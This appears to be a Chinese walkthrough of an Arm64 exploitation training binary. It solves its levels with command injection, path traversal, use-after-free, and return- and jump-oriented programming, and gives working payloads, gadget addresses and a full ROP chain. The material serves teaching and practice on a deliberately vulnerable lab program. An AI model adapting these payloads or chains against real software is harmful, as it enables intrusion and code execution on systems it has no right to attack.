    • 第一种:关掉ASLR,然后随便执行几遍得到important_var的地址(第19行会打印出来),然后第三个参数是这个地址,第四个是1,没了。
    • 不关掉ASLR的第二种方法:参照Level 8使用GDB调试,在printf()函数上打断点,然后跳到它返回的地方,这个时候它已经把important_var的地址打印出来了,只需要修改就是了。
  • 我不是很明白为什么答案上面有第五个参数(也就是第二个flag),明明代码里面也没有读取这个的部分。

Level 10: cmd inject

63

  • 密码是,呃...

64

  • Fun
  • 这里的cmd_inject()直接拿argcargv作参数。

65

  • cmd_inject()逻辑:
    • 首先获取argv[2]的长度(L14),然后分配一个len_argv[2] + 4大小的heap memorycmd_buffer(L15);
    • 然后,将cmd_buffer的前4个字符设置为man\x20 \x20在ASCII中对应空格space
    • 然后,设置cmd_buffer第5个字符为\x00,调用strcat()整合字符串。
      • 66
      • strcat()的行为,从dest\x00开始覆盖写入src字符串(dest\x00会被覆盖),最后加上\x00
    • 之后直接将cmd_buffer当作shell指令执行。
    • 之后,如果在cmd_buffer中找到;字符,则打印密码。
  • 本来,如果正常输入指令some_cmd,它就会帮我们执行man some_cmd,我们需要做的是cmd injection,也就是想办法执行任意指令。hint也告诉你maybe要加一个;,这是因为在linux中cmd1 ; cmd2等于说同时执行两条指令
    • 67
    • 如图,一条指令同时执行了echo helloecho hello2
  • 最后我们也看到,只要它读到有;就把password给你了。
  • 其实&&也能同时执行俩指令,所以设计得有点生硬。。
    • 68
  • 答案: ./exploit64 Fun "ls;echo hello",反正有;就行。
  • 注意,ls;echo hello部分我们用""括起来,这是为了防止shell把它当成./exploit64 Fun lsecho hello两条指令执行了。
  • 其实最好用一个不存在的指令代替ls部分,因为man会占用stdout,还得退出了man之后才会打印密码。
  • 以及一些别的小细节。strcat()也像strcpy()一样会在最后写入\x00。所以,如果strlen(a) == 2strlen(b) == 3strcat(b, a)b被分配的空间至少要是strlen(a) + strlen(b) + 1 == 6 ,这部分的逻辑也有off by one的问题。

Level 11: path traversal

69

  • 密码是Violet

70

  • path_traversal()的逻辑:开头部分和Level 10一样,分配buffer组合出一个要执行的长指令cmd_buffer,然后又是off by one
  • 之后,我们会用strncmp()对比path参数的开头部分是否是dir1/dir2./dir1/dir2,如果不是,就拒绝执行之后的指令(ls path,含义是打印出指定目录下的文件、文件夹列表)。

71

  • strncmp()做的事情:比较两个字符串前num个字符是否一样,
    • 一旦遇到不一样,或者其中某个字符到末尾(\x00)也没比完,则返回非0,表示字符串不一样;
    • 或者,比较完num个字符之后,如果一切都一样,则返回0,表示比较结果是一样。
  • 同样我们能看到突破点:这个函数只能比较前n个字符,但如果这部分之后的字符整了点魔法,那它是完全没有办法察觉到的,它会以为一切正常照旧执行。
  • Linux常识:每个文件夹内都有两个特殊的文件夹...,它们分别表示当前文件夹上一个文件夹
  • 如果我们在./dir1/dir2执行cd ..,会进入./dir1文件夹;./dir1/dir2/..实际上就是./dir1文件夹
  • 在正常情况下,我们只能列出dir1/dir2文件夹内的内容,但使用..这个技巧,就可以列出一切的文件夹的内容,只要exploit64程序有权限。
  • 所以就很无聊了。。在31行也能看到,只要我们提供的path./dir1/dir2/../..(等效于.,也就是当前目录),那就给你密码,你看非常生硬是不是。。
  • 答案:./exploit64 Violet ./dir1/dir2/../..
  • 还有很多很多爆破的思路,比如你可以像Level 10一样在后面加点&&或者;,比如你可以多用点..,但只有额外加俩..才能拿到密码有点生硬。。

Level 12: return oriented programming

72

  • 密码是ropeme
  • 这里的逻辑:使用scanf()扫描一串字符串,保存入buffer中,并作为参数传入rop()
    • 73
    • 注意,最开始的模样下及其混乱,设置scanf()只有两个参数即可。

74

  • rop()逻辑:首先printme(magic_stuff,0x1234),然后comp(0x1234),对比返回结果。

75

  • 然后进入printme()之后,你会发现自己整个人都不好了:
    • 这里使用了两个strlen()函数,却不使用返回值?等于说什么都没做?
    • 我们去检查源代码,发现这里实际有一个memcpy(),但它为什么会被当作strlen()啊??

76

  • 我们随便点开一个strlen(),发现居然有一大堆的函数都叫strlen(char* param_1)???为什么会这样???
  • 也就是说在不知道的地方,有一堆本不该叫strlen()的也被当作strlen()了??

Thunk Function是什么玩意

77

  • 复读:Thunk Function就是一个包装,把自身的控制传递给另一个函数。怎么是Java

78

  • 上面是一个Thunk Function的示例,首先将x16加载为0x4ae000,之后读取保存在这个地址中的值,将其存在x17中,之后将x17中的值理解为一个地址,直接跳转去了。

  • 我们看到,这个过程中,有可能涉及参数的操作,也就是对x0~x7register的修改,以及stack操作,都没有发生。我们只是跳到了另一个地方,并将参数原封不动地传过去,至于参数解读,那是函数自己的事情。

  • 所以,这里ghidra它就有一个特性了(不知道别的有没有),你会发现这一串的Thunk Function全都跳转到同一个地址,那ghidra就把他们全当作是一个函数了,于是你改了其中一个的signature就把全部的都改了。

  • 这里就有一种应对方法:Revert thunk function,这样它就会被当作独立函数,可以单独设置signature。

但是这一堆Thunk Function到底是啥

  • 到目前为止,还是没解释这堆Thunk Function被用来做什么。它们长得非常像,但又有区别。

    • 我们对比一下,会发现,在不同的函数中,x17中保存的值会是 0x4ae000+offset这个地址保存的值,每个函数的offset值都不一样。并且,x16中保存的值也会是 0x4ae000+offset这个值本身。

      • 76
    • 我们再去看看0x4ae000附近的情况。我们发现每个加上offset的地方都存有一个一模一样的值0x4002a0。再去看看0x4002a0这个地方有什么,然后就会发现,这个地址恰好就是那一堆长得类似的Thunk Function的第一个,它的offset为0。

      • 79
      • 78
    • 至此,在没有别的知识的基础上,可以总结出:它最后会变成死循环诶????

  • 之后就是经典的,如果没去了解过就完全不知道的知识: 共享库的动态链接。 诸如strcpy()memcpy()的标准库函数,本身不会被集成在函数内,除非编译时加上-static参数。所以,在二进制文件内,只有一个"占位符号",没有实际的代码,之后由动态链接器在执行时进行地址赋值,以便跳转到正确的函数地址。

    • 它之所以叫「共享庫」(shared library),是因為,其實很多進程都會用到它。
    • 如果每個進程都單獨加載一份這些函數到RAM中,那就是一種極大浪費。
    • 所以,不如讓動態鏈接器只加載一份,然後配置,讓用到它的進程都共享那唯一一個。

80

81

82

83

  • 上面的内容出自《深入理解计算机系统》第三版 490~492页,仅供参考。

  • Arm64的与上面的描述大同小异,这里描述一下它的过程:

    • 我们上面看到的那一堆Thunk Function类似于图片中提到的过程链接表(PLT);而从0x4ae000开始的一堆东西,也就是每个Thunk Function的跳转地址存放的地方,类似于图片中提到的全局偏移量表(GOT)。

    • GOT的值在开始时全都是0x4002a0,也就是第一个Thunk Function的地址(PLT[0])。这个函数实际上就是链接器函数

    • 回想一下,各Thunk Function(PLT[i])都会将x16的值设置为0x4ae000+offset&GOT[i])。 所以,在进入链接器函数(PLT[0])时,它会通过x16将真正的函数入口地址写在GOT[i] 这样,在之后,每次通过PLT读取GOT的值并跳转时,都会进入正确的共享库函数。

    • 即使是链接器函数,它的GOT也被设置为了0x4ae000,所以,程序运行了之后,它的值应该是被别的链接器设置的。

                    +-+-+-+-+-+  <-- start of PLT
                    | Linker  |  <--------------------------------------------- Linker modifies
                    +-+-+-+-+-+                +-+-+-+-+-+ <-- start of GOT    |  GOT[i] later(3)
                    |         | PLT[i] points  |         |                     |
      func call --> +-+-+-+-+-+  to GOT[i](1)  +-+-+-+-+-+                     |
      addr          | PLT[i]  | -------------> | GOT[i]  | --------------------- GOT[i] points 
                    +-+-+-+-+-+                +-+-+-+-+-+                        to linker(2)
                    |         |                |         |
                    +-+-+-+-+-+                +-+-+-+-+-+
      
  • 上面是简单的图示,虽然多少有点不正确。

咳咳咳

  • 说了这么多总算把正确的函数逻辑整出来了(?):

85

  • sp-0x40处有一个buffer。根据源代码,它的长度是60 byte,似乎能解释为什么有一堆uStack_xx = 0
  • 之后,使用memcpy(),复制两倍的strlen(magic_stuff)长度到buffer中。
    • magic_stuff是在main()中被分配到stack上的。
  • 不过这个两倍长度似乎也用不到什么,毕竟main()及其前置的stack都没什么用,maybe?

86

  • comp()的函数逻辑:对比传入参数是否是0x5678,是就打印密码。可问题是,前面我们调用它时用的参数就是0x1234呀,这怎么改。。

  • 解决方案1:歪门邪道

    • 87
    • 我们直接检查assembly,发现,程序从printme()返回之后,它是从stack读取参数保存进x0,再进入comp()的。
    • 本来,0x1234是一个常量,会被直接载入x0,不会存入stack,但assembly显示,它是在开头将x0赋值为0x1234,但在随后,因为要调用printme(),占用了x0,才将其放入stack的。
      • 88
    • 所以,我们只要将sp-0x4的地方写成0x5678就可以达到目标了。
    • buffer定义在printme()sp-0x40,64 byte写满到达sp-0x0。写满时在rop()sp-0x30处,距离sp-0x444 byte,总计 64 + 44 = 108 byte 距离。
    • 构造0x5678:在开头时,我们使用scanf("%s")读取输入,这意味着不能直接用\x78\x56了,因为是%s,它会被解读为\x78\x56 8个单独的ASCII字符。
      • \x78在ASCII中对应x\x56对应V,应该用这俩。
    • 是否需要构造\x78\x56\x00\x00:不需要,因为本来这里存的值就是\x34\x12\x00\x00,高位还是0不用动。
    • 答案:echo aaa....aaaxV | ./exploit64 ropeme,一共108个a,同样。
  • 解决方案2: Return Oriented Programming(ROP)(标准答案思路)

    • 什么是ROP: 回忆Level 2,Level 3的过程,我们都是将返回地址x30复写成别的函数的入口来拿到password的。ROP的思路也类似,都跳到别的函数or地方去,但不同的是,这次我们要取得对函数参数值的控制。

      • 也就是说,某种意义上我们不仅要修改让它跳进comp(),还得想办法传入参数0x5678
    • 在32位下,根据call convention,所有的参数都保存在stack上。这是最简单的,通过stack overflow已经取得对每一处stack值的控制,自然也就控制了参数,不是难事。

    • 在64位下,参数会优先保存在register,这会让难度大大提高。

      • 我们需要先在当前程序内找到另一段代码,这段代码会恰好读取stack的值保存在register上,并在随后返回
      • 整体思路是,第一次返回时,跳到会把stack值存入register的代码片段,通过控制stack得以控制参数,之后将这个代码片段的返回值设为想进入的函数的入口
      • 跳的位置并不限定是某个函数的入口,还是它中间的某个地方,只需要符合条件,并地址对齐。
      • 因为这样的片段很难找,说不定要跳好几次才能凑齐参数。
    • 89
      • 然后呢,我们的作者桑就很贴心地给我们设计了这种stack保存进register的小代码片段。。哎呀。。

      • 这个片段的意思[stack跟寄存器的关系]:

        [sp , sp+0x8)      x0
        [sp+0x8, sp+0x10)  x1
        
        [sp, sp+0x8)       x2
        [sp+0x8, sp+0x10)  x3
        
        [sp+0x10, sp+0x18) x29
        [sp+0x18, sp+0x20) x30
        
    • 完整的思路如下:

        1. 通过overflow,将rop()的返回地址覆盖为ropgadgetstack()的入口地址;
        2. ropgadgetstack()会将stack中的值读入x0register,找到stack中它的位置并覆盖为0x5678
        3. ropgadgetstack()的返回地址也会被保存在stack上,将其覆盖为comp()函数入口地址。
    • 内容构造:

      • printme()中,buffer在sp-0x40,需要64 byte到达它的sp-0x0
      • rop()call printme()时stack深度为-0x30x29距离它8 byte,
        • [1] ==> 64 + 8 = 72 byte 处有 0x400744(8 byte) (ropgadgetstack()入口)
      • rop()返回时,stack深度归0,进入ropgadgetstack()x0保存在sp位置,
        • [2] ==> 64 + 48 = 112 byte 处有 0x5678(4 byte)
      • ropgadgetstack()的返回地址x30保存在sp+0x18
        • [3] ==> 112 + 24 = 136 byte 处有 0x400770(8 byte)(comp()入口地址)
      • 最终结果==> 72 byte + \x44\x07\x40\x00\x00\x00\x00\x00 + 32 byte + \x78\x56\x00\x00 + 20 byte + \x70\x07\x40\x00\x00\x00\x00\x00
      sp+0x20 +-+-+-+-+-+-+-+
              |  gadget x30 |  <-- [3] this is where ropgadgetstack()'s return
      sp+0x18 +-+-+-+-+-+-+-+          address saves, overwrite it to comp()'s
              |             |          address
              |             |
       sp+0x8 +-+-+-+-+-+-+-+
              |  gadget x0  |  <-- [2] after enter ropgadgetstack(), the func 
           sp +-+-+-+-+-+-+-+          will store value here into x0, overwrite
              |             |          it to 0x5678
              |             |
              |             |
              |             |
              +-+-+-+-+-+-+-+
              |  rop() x30  |  <-- [1] overwrite here to ropgadgetstack()'s
      sp-0x28 +-+-+-+-+-+-+-+          address, then rop() will return to there
              |  rop() x29  |
      sp-0x30 +-+-+-+-+-+-+-+  <-- before rop() call printme(), sp points here
              |             |
              |             |
              |             |
              |             |
              |             |
              |    buffer   |  
      sp-0x70 +-+-+-+-+-+-+-+  <-- start of buffer in printme()
      
      • (这是以rop()的stack为标准的图示)
    • 输入进程序:

      • 之前也说了scanf(%s)的问题,得用其他方式输入,这里采用标准答案的方法,python的sys.stdout.buffer.write()方法。
    • 答案:python -c "import sys; sys.stdout.buffer.write(b'a' * 72 + b'\x44\x07\x40\x00\x00\x00\x00\x00' + b'a' * 32 + b'\x78\x56\x00\x00' + b'a' * 20 + b'\x70\x07\x40\x00\x00\x00\x00\x00')" | ./exploit64 ropeme

      • 标准答案与之有细微不同,最后它不是跳到comp()函数开头,而是它的内部、比较x00x5678是否一致的那条指令。

Level 13: use after free

90

  • 密码是Magic
  • 传入use_after_free()的参数是argv[2],这个地方对应于<options>参数,它是一串只包含0123的数字,比如3201,12,332,22,1。

91

  • use_after_free()逻辑[1]:根据fgets()可以确定,这里有一个512 byte的buffer。它要求我们输入command,之后会将其存入buffer。

92

  • use_after_free()逻辑[2]:循环依次读取argv[2]这个数组的元素,然后将读取到的ASCII字符转化为数字,根据不同数字选择做不同的事情(图中各种if分支)。

  • 也就是说,有几个数字,就会依次做多少件事情

  • option==0new_mapping()

    • 93
    • 这个函数会用malloc()在heap上分配一个512 byte空间,并将地址赋值给全局指针mappingptr
    • 之后,会进行一些内存复制操作,见图。特别强调,在0x40偏移处存放了函数run()的入口地址,0x48处的是destroy()的入口地址。
  • option==1destroymapping()

    • 94
    • destroymapping()做的事情:判断全局指针mappingptr是否已经给malloc()过了,如果是就调用offset0x48处的destroy()函数;随后会free掉全局指针。
    • 那么,destroy()到底做了啥:
      • 95
      • 啥都没做,打印一行字。
  • option==2run()

    • 96
    • 就是,判断全局指针是否非null,是就执行offset0x40处的run()函数
    • run()做了什么:
      • 97
      • 它有另一个全局数组变量runcmd,既然是system(),那自然就是在shell执行对应的指令。
  • option==3fillmapping()

    • 98
    • 这里就跟之前提到的全局变量runcmd()有关了。首先,有一个局部指针,它是malloc()分配512 byte空间后的返回值。然后,用memcpy()将从fgets()那读入的字符串的前256 byte复制进分配的512 byte heap空间。最后才会用memcpy()将heap内的512 byte全复制进全局数组变量。
  • 这个程序,如果不是爆破它而是正常使用,它动作的顺序该是什么? 本来它应该做的事情,似乎是从stdin读取一串字符,把它当成一个指令去执行。为此:

  • 首先是option 0: 要先创建mapping,因为之后要用run()来执行命令。

  • 然后是option 3: run()执行的指令在全局变量runcmd上,要先准备好这个。

  • 之后才是option 2: 执行system(&runcmd)

  • 最后是option 1: free掉。

  • 也就是./exploit64 Magic 0321

    • but我们在fillmapping()里面的那个malloc()没free喂???
  • 它的名字叫use after free,提示我们,要玩弄的是使用free()后再在heap上分配空间时的规则,在Level 7中提供的三个链接都有提到具体的规则~~,反正我都没看完~~。

  • 仍旧只说用到的点:如果我们先用malloc()分配xbyte 空间,然后再free()掉它,然后立刻我们再用malloc()分配大小一模一样的xbyte 空间,那它们指向的是同一块内存,返回的指针都会一模一样的。

  • 如果我们先new_mapping(),然后立刻destroy_mapping(),因为上面所有的malloc()都是分配512 byte 空间,这个时候再fillmapping()它内部的cmd_buffer_intermediate被分配到的地址肯定和最开始mappingptr被分配到的地址一摸一样,这样我们就取得了对这块空间的内容控制。

  • 别忘了还有option 3,它会执行mappingptroffset0x40处的函数,在assembly层,就是将那个地方的值解读为一个地址,并跳转到那个地址去。mappingptr在被free()之后它的值并没有被清成nullptr,于是就可以实现任意地址跳转了。

  • 构造:首先是参数,先new_mapping(),然后free()掉,之后fillmapping()控制内容,最后跳转,也就是0132。输入的内容: 0x40 == 64,只需要先写64 byte,再写入0x4008c4level13password()的入口地址)就可以了。

    • 我在想是不是应该叫level14password(),但Level 14的密码真的是它里面写的那个。
  • 答案:python -c "import sys; sys.stdout.buffer.write(b'a' * 64 + b'\xc4\x08\x40\x00\x00\x00\x00\x00')" | ./exploit64 Magic 0132

    • 因为还是存在fgets()\xc4当成4个单独字符的问题,不能直接echo / 输入,还是用了sys.stdout.buffer.write()方法。

Level 14: jump oriented programming

99

  • 密码Jumper,它会要求你给一个文件名称。

100

  • jop()的流程:首先它在stacksp-0x8上有一个function pointerfunc_ptr

  • 之后,会读取参数里面给的文件,这个文件的开头4 byte标识文件的长度,决定后续从中读取多少字节(28,29行)。之后,从开头4 byte的位置开始读取二进制数据,并保存进stack里面的buffer。

  • 之后,会通过func_ptr跳转到showflag()

    • 101
    • showflag()也没做什么,打印点东西。
  • 之后,会有一个在register内的变量cookie(我重命名的),它被初始化为0,却被要求和0x5678对比。值一致时这一level就结束了。

  • 仍旧,要想办法修改register的值。

  • 思路1: Jump Oriented Programming (JOP)

    • 这是标准答案的思路。既然这题叫这玩意那就用它吧。剧透一下,标准答案疑似不对

    • 什么是Jump Oriented Programming:之前我们提到过Return Oriented Programming,它利用的是覆盖ret指令的返回地址实现跳转;JOP与之类似,不过主要利用的跳转指令是jmp,在Arm64中则为br(branch register)。

    • JOP的主要思路还是和ROP一样,我们要找到各种各样的代码小片段(gadget),这个小片段会将stack内容存入register,或者别的需要用到的指令,最后会跳转到别的位置,通过控制stack完成整个跳转过程的控制。

    • 102
    • 先看看compare部分的assembly,它将0x56780分别读入x0w1,然后再比较这俩。于是,我们可以先跳转到别的地方,把x0x1的值写成一模一样的,再跳回到cmp w1,x0的地方就好了。

    • 怎么跳转:func_ptr的利用

      • 103
      • 只要把sp-0x8的位置覆盖成想要的地址就是了
    • 跳转到哪里:

      • 104
      • 你看0x400758处就有作者准备好的。。
    • file_buffer内容构造:

      • file_buffersp-0x38func_ptrsp-0x8
        • [1] ==> 48 byte处有jmpgadgetstack()的入口地址(0x400758)
      • 进入jmpgadgetstack()后,在sp+0x28处的16 byte分别有x0x1,jump到这里之前stack在sp-0x60-0x60 + 0x28 = -0x38,刚好是file_buffer开始的地方
        • [2] ==> 0 byte处有\x78\x56\x00\x00\x00\x00\x00\x00\x78\x56\x00\x00\x00\x00\x00\x00,对应于两个8 byte register长度,只需要值相等就可以。
      • jmpgadgetstack()使用br x2跳转,x2sp+0x38的位置,这里的值应该是0x400878(cmp w1,x0语句的地址),-0x60 + 0x38 = -0x28,和file_buffer差16 byte
        • [3] ==> 16 byte处有\x78\x08\x40\x00\x00\x00\x00\x00
      • 至此,一共48 + 8 = 56 byte,文件长度为0x38
      • 所以,文件内容为 0x38(4 byte) + \x78\x56\x00\x00\x00\x00\x00\x00\x78\x56\x00\x00\x00\x00\x00\x00 + \x78\x08\x40\x00\x00\x00\x00\x00 + 24 byte 填充 + 0x400758(8 byte)
           sp +-+-+-+-+-+-+-+-+-+
              |     func_ptr    |  <-- [1] here is func_ptr, overwrite it to jmpgadgetstack()'s
       sp-0x8 +-+-+-+-+-+-+-+-+-+          address and then we can jump to it.
              |                 |
              |                 |
              |                 |
              +-+-+-+-+-+-+-+-+-+
              |       x2        |  <-- [3] in jmpgadgetstack(), value here is jump address,
      sp-0x28 +-+-+-+-+-+-+-+-+-+          overwrite it to 0x400878 so we will jump back to cmp
              |       x1        |  <-- jmpgadgetstack()'s x1
      sp-0x30 +-+-+-+-+-+-+-+-+-+
              | file_buffer(x0) |  <-- jmpgadgetstack()'s x0
      sp-0x38 +-+-+-+-+-+-+-+-+-+  <-- [2] in jmpgadgetstack(), value here will be stored in 
              |                 |          x0 and x1
              |                 |
              |                 |
      sp-0x60 +-+-+-+-+-+-+-+-+-+  <-- before jop() jump to func_ptr, sp points here 
      
      • (以jop()为参考的图示)
    • 构造答案:python -c "import sys; sys.stdout.buffer.write(b'\x38\x00\x00\x00' + b'\x78\x56\x34\x12\x00\x00\x00\x00\x78\x56\x34\x12\x00\x00\x00\x00\x78\x08\x40\x00\x00\x00\x00\x00' + b'a' * 24 + b'\x58\x07\x40\x00\x00\x00\x00\x00')" > f.bin && ./exploit64 Jumper f.bin,这个指令会将前面提到的内容写入f.bin,之后exploit64会读取这个文件。

    • 这个答案有可能不对,取决于运行环境。在本人的环境下,在执行到0x40075c,也就是jmpgadgetstack()中将stack值保存入x0x1的指令时,会报出SIGBUS错误

      • 105
      • 执行这条指令时会出错。
    • 主要原因是,在Arm64中,使用ldp指令时,有时被要求被读取的地址是16 byte对齐的,这是可以设置的。我们从0x400758进入函数,如果执行ldp x8,x9,[sp],#0x28时地址是16 byte对齐的,那sp+=0x28之后它就一定不会对齐了,于是会在下一条指令出错。

    • 反之,如果要求0x40075c位置处的sp是16 byte对齐,那它上一条指令0x400758就一定不对齐了

    • 而如果我们不跳转到0x400758而是直接跳到0x40075c,写入相关register的值来源又不在file_buffer能溢出的范围之内,就没法利用了。

    • 所以,如果16 byte对齐没关掉的话,那它就没法成功。

  • 思路2:暴力跳过

    • 上面把func_ptr值覆盖为gadget的地址跳转来跳转去,就是为了保证在比较x0w1时它俩的值是一样的,那别管这么多了我们直接跳过这个判断,直接跳入值相等时的分支不就好了啊???
    • 106
    • 值相等时会进入0x400898地址的分支,那就把func_ptr覆盖成这个值好了
    • file_buffer内容构造:48 byte 处有 0x400898(8 byte),一共56 byte。
    • 答案:python -c "import sys; sys.stdout.buffer.write(b'\x38\x00\x00\x00' + b'a' * 48 + b'\x98\x08\x40\x00\x00\x00\x00\x00')" > f.bin && ./exploit64 Jumper f.bin

Extra: Level 8&9 without ASLR disabled and GDB

  • 很显而易见,不关掉 ASLR 的话,除了瞎蒙外,我们并不能通过 "用 Level 8/9 的密码启动、进入相应的代码路径" 的方式解决掉问题,那么如果放宽这一条件,允许我们用其他的密码,那有解法吗?有的呢,不然就没有这一节了。

  • 我们能利用的、且必须是 Level 8/9 之前的密码的(设下限制),只有 Level 2 stack_overflow() 的了,不过这么说来这似乎就出现意义危机了。

什么意义问题

  • stack_overflow() 允许我们任意跳转到一个地址,因为这一原语已经十分强大,以至于几乎能跳过所有的漏洞设计而直接到达打印出密码的语句,这使得打印密码直接失去了意义。

  • 不过对于 Level 9 而言,你还真不能通过直接跳到 Msg::msg() 来打印密码。如图所示,即将进入 Msg::msg() 时,可以注意到 x1 寄存器的值为1, x2 为0,基本上各种输入组合都会是这样:

alt text

  • 比对 Msg::msg() 的 signature 可以发现, x1 被预期存放一个字符串指针,并由 printf 打印出来,而1既不是一个合法的地址,也不是 NULL ,缺乏特殊处理,这会导致内存错误。

  • 说到这似乎意义危机缓和了一点点,但其实缓和不了一点,你完全可以跳到 0x401e44: Msg::msg() + 20 的位置,这样 printf 就会直接从 x2 拿出 NULL 正常打印,然后到了 Level 9 那就根本没有这类难题了。

alt text

  • 那么有什么可以拯救我们的意义问题呢?还是有的呢亲。

"原著精神"

  • 在此我主张一款 "原著精神" :虽然输入的密码可以不是 Level 8/9 的,但最终必须要跳到Level 8/9的函数入口处并按照预期的路径打印出密码。于是乎我们就要通过造 ROP chain 来造我们需要的参数了。

  • 但由于 strcpy() 遇0停止的特性,我们无法在 stack_overflow() 中将多个不同的地址复制到栈上,即只允许跳转一次。在此种情况下无从构造 ROP chain ,因而只能用 stack_overflow() 跳转到一个拥有更强原语的地方。检查完整个程序后发现唯一可能符合的地方只有可能是 Level 14 的函数主体fread() 可以达成任意内容的栈覆盖。

  • 嗯,说到这里,你已经能感受到密码的意义问题已经碎一地了,但我并不介意让它碎得更精细些,虽然好像从一开始就没完整过:我们限制不允许使用 Level 8/9 之后的密码,但四舍五入最后还是用了它们解锁不了的代码路径,那搞这么麻烦干什么,直接用 Level 14 的密码好了。

  • 先不管这些,那么我们该如何利用这更强的原语呢。首先不能直接跳到 jop() 的开头,因为它的 x0 是要打开的文件名,根据上面它的值只可能是0和1,怎么可能正常打开呢。这个时候就要发挥我们破坏意义 aka. 撞大运 时学到的经验了:我们直接跳到 fopen() 的面前 0x400804 处:

alt text

  • 然后打开你的调试器,惊喜地发现栈错位后的文件名好像是一个合法地址:

alt text

  • 那它存的内容到底是啥呢?我们一看,欸🤓☝️,它确实可以是个 Null-terminated string ,并且你确实可以创建出这么一个文件名很奇怪的文件: touch \xfd\x7b\xbe\xa9\xc0\x04

alt text

  • 不管怎样这就是我们预期要打开的文件了哈,只要不停下脚步,道路就会不断延伸,下面是造 ROP chain 的时间喵。当然 ldp 的 16 bytes 对齐检查关掉了。

  • "原著精神"的出现自然也是历经坎坷,如若我没探索到这一步,以及后续 ROP chain 的构造,那大概就是别的定义了呢(笑)。以及本节使用了 IDA Pro 而非 Ghidra ,故可知本节本身就不讲什么"原著精神",解构完毕喵。

Level 8

  • 根据我们先前对 Level 8 的分析,你得构造出一个长度为88的数组,前80字节必须非0不然 strcpy() 的大手又开始发力了,第80个字节处应该是一个 Msg 对象的指针类似物,也就是 deref 后拿到的值为虚函数表的指针。所以不管怎样,第一步是找到能让我们写东西的地方,以及一个任意地址写任意内容的 primitive ,毕竟你也不能预期你找到的那地方存的都是非0。我们直接打开 ropper 进行搜索。

哎呀你人真好

  • 然后看一眼源代码发现有个全局变量 char Password[100];: 0x4afcb0 ,哎呀

  • 而如果你先前已经乱搜一通有啥作者提供的 gadget ,那你大概已经发现了一个非常好的任意写 primitive :

savex0(ret) {
  0x0000000000400734: str x0, [x1]; ldp x29, x30, [sp], #0x10; nop; ret; 
    *x1 = x0
    ret = *(sp + 8)
    sp += 16
    jmp ret
}

本人标 gadget 的方式:写成上述的函数形式,然后参数就是我们可以控制的值

  • 再配合作者的另一个超级保姆改寄存器 gadget ,我们的目的已经达到了捏,哎呀呀
setx0x1x2x3_jx2(x0, x1, x2, x3) {
  0x000000000040075c: ldp x0, x1, [sp], #0x10; ldp x2, x3, [sp], #0x10; br x2;
    x0 = *sp
    x1 = *(sp + 8)
    x2 = *(sp + 16)
    x3 = *(sp + 24)
    sp += 32
    jmp x2
}

arbitraryWrite(addr, content, next) {
  setx0x1x2x3_jx2(x0=content, x1=addr, x2=savex0)
  savex0(ret=next)
}
  • 其实到这里已经可以结束了, 我们只需要把 Password + 88 的内容写成 Msg 的虚函数表地址,然后把 Password + 80 的内容写成 Password + 88,最后再随便找个什么改完 x0 后挑进 type_confusion() 就是了。不过本人一心奔着把 Password + 88Msg::Msg() 里头传了,于是才有了后面一系列的探索——这话说得就跟历史遗留问题似的。

  • 那么这历史遗留问题是怎么一回事呢?这就牵涉到"原著精神"自己是否符合"原著精神"这样的悖论难题了捏。最开始的时候是在构想一条 operator new() -> Msg::Msg() -> vmethod_call() 的调用链,哪知道现在变成这样了啊。

  • 在 Arm64 下想整这种调用链,就只能诉诸 blr x?; ...; ldp x29, x30 [sp], #?; ret 这样的范式了,结合其他需求,最后总算找到了唯一一条能用的:

callx1_setx19(x19, ret) {
  0x000000000045bd08: blr x1; cmn w0, #1; b.eq #0x5bd20; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;

    call x1
    if w0 != -1 {
      ret = *(sp + 8)
      x19 = *(sp + 16)
      sp += 32
      jmp ret
    } else {
      jmp to somewhere else that mess up everything
    }

}   
  • 这怎么返回-1就直接爆炸了啊?那没办法只能将就着用了。而另一条不会爆炸的 gadget 会在返回后直接把 x0 置0,对于需要拿 operator new() 返回值的我而言这可太需要丢一边去了。

  • 再然后是找到一个设置 x1 的 gadget ,基于上面同样的理由我们并不能用神奇的 setx0x1x2x3_jx2 ,于是就找到了下面这条:

setx1x3_jx3(x1, x3) {
  0x000000000041257c: ldr x1, [sp, #0x70]; ldr x3, [sp, #0x78]; blr x3; 
    x1 = *(sp + 112)
    x3 = *(sp + 120)
    jmp x3
}
  • 是不是很诱人呢,并且(?啥?)仔细一看发现有个大坑, 这段 gadget 并不改变栈的深度! 这意味如果先跳到它那再跳到 callx1_setx19 ,你就得就着 setx1x3_jx3 的 stack baseline 去填 callx1_setx19 的 stack baseline ,别提有多恶心了,那当然,那时并没有想到 x3 还可以往只改变栈深度的 ldp x29, x30 [sp], #?; ret nop gadget 方向去填。

  • 之后因为一些不知道什么的原因,还找了一个单独改 x0 的 gadget:

setx0(x0, ret) {
  0x0000000000468230: ldr x0, [sp, #0x80]; ldp x29, x30, [sp], #0xb0; ret;
    ret = *(sp + 8)
    x0 = *(sp + 128)
    sp += 176
    jmp ret
}
  • setx0 近乎完美,就是有点费栈。

之后我们就可以开始造调用链任意写的 rop chain 了:

// fulfill 80 bytes non-zero value
arbitraryWrite(addr=Password, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 8, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 16, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 24, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 32, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 40, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 48, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 56, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 64, content=0x11111111_0x11111111, next=arbitraryWrite)
arbitraryWrite(addr=Password + 72, content=0x11111111_0x11111111, next=arbitraryWrite)

// set +80 to Password + 88
arbitraryWrite(addr=Password + 80, content=Password + 88, next=setx1x3_jx3)

// now x0 = Password + 88, call Msg::Msg() directly
setx1x3_jx3(x1=Msg::Msg, x3=callx1_setx19)
callx1_setx19(ret=setx0)

// now Password + 88 is a Msg object and Password + 80 stores its address, we set x0 = Password and jump into function entry point 
setx0(x0=Password, ret=type_confusion)
  • 你看懂了吗?没事没看懂我也不会说明的,生成那个名字奇怪的文件的内容的代码见 gadget_confusion_v2.py

  • 答案: python gadget_confusion_v2.py && ./exploit64 help adminaaaaaaaaaaa\x04\x08\x40\x00 funny

